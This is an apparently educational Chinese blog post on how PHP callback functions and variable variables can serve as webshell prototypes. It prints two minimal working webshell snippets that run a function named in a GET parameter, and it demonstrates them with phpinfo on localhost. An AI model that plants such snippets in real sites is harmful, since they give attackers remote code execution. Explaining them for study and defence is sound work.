大家一定忘不了
Non alphanumeric code in PHP
http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/
Tiny PHP Shell
http://h.ackack.net/tiny-php-shell.html
这两个东西就是可变变量和回调函数在WEBSHELL上的高级实战运用。
但是要深入一个东西,必须理解它的原型。
首先是回调函数WEBSHELL的原型:
<?php
$_GET['x']();
?>
访问http://127.0.0.1/2.php?x=phpinfo后,phpinfo函数执行。
可变变量的WEBSHELL的原型:
<?php
$x = $_GET['x'];
$a = "${$x()}";
?>
访问://127.0.0.1/2.php?x=phpinfo后,phpinfo函数执行。
可变变量的WEBSHELL的原型失败的例子:
<?php
$x = $_GET['x'];
$a = "${$x}";
?>
http://127.0.0.1/2.php?x=phpinfo
爆出Parse error: syntax error, unexpected T_STRING
http://127.0.0.1/2.php?x=phpinfo()
代码未执行
http://127.0.0.1/2.php?x=@phpinfo()
代码未执行
到这里我们应该清楚了很多,逐本溯源,PHP手册上说明了可变变量只是动态设置变量,变量包括变量名只是在传递数据,数据不会当成代码执行!
数据要当成代码执行需要进入函数的参数,由函数执行,所以可变变量要实战成为可用的webshell,并且脱离eval等函数,本质还是需要往函数中传入参数依靠动态函数也就是函数回调这一特性。
至此浅谈PHP可变变量安全三篇合一,算是一篇比较基础的文档了,感谢Ryat牛和刺在技术上的提醒和帮助。三篇关于安全的主题分别是:
1.PHP双引号解析变量特性,容易引起PHP程序漏洞。
2.PHP可变变量语法有隐藏特性,存在“漏洞”。
3.PHP可变变量作为Webshell的原型和一些基础安全原理。
由于是科普文,本意也没想写成文档,所以更多扩展和发散就留给大家自己理解了。